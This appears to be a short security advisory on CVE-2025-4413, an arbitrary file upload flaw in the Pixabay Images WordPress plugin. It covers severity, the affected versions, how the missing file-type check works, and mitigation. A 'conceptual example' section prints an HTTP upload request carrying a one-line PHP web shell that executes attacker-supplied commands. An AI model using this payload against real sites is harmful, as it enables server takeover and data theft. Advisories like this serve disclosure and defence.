Overview
The world of cybersecurity is vast and intricate, with new vulnerabilities and threats appearing frequently. One such vulnerability, CVE-2025-4413, has been identified in the Pixabay Images plugin for WordPress, a popular content management system used by millions of websites worldwide. This vulnerability allows an attacker to upload arbitrary files, enabling potential remote code execution. The vulnerability affects all versions up to, and including, 3.4, and poses a significant risk to any WordPress site using the Pixabay Images plugin.
This vulnerability is of great concern because it could potentially lead to a system compromise or data leakage. The severity of this vulnerability, with a CVSS score of 8.8, underscores the potential damage an attacker could inflict on a compromised system, making it a priority for immediate mitigation.
Vulnerability Summary
CVE ID: CVE-2025-4413
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: Author-level access
User Interaction: Required
Impact: System compromise and potential data leakage
Affected Products
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Product | Affected Versions
Pixabay Images Plugin for WordPress | up to and including 3.4
How the Exploit Works
The CVE-2025-4413 exploit takes advantage of a missing file type validation in the pixabay_upload function of the Pixabay Images plugin for WordPress. This vulnerability allows authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site’s server. As a result, an attacker could potentially upload malicious files that, when executed, give them control over the server or allow them to access sensitive information.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited, using a malicious file upload request:
POST /wp-content/plugins/pixabay-images/upload.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this case, the attacker uploads a PHP file that, when executed, will run any command passed via the ‘cmd’ GET parameter.
Mitigation
To mitigate this vulnerability, users are advised to apply the vendor’s patch as soon as it becomes available. Until then, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can offer temporary mitigation. These systems can be configured to block or alert on attempts to exploit this vulnerability.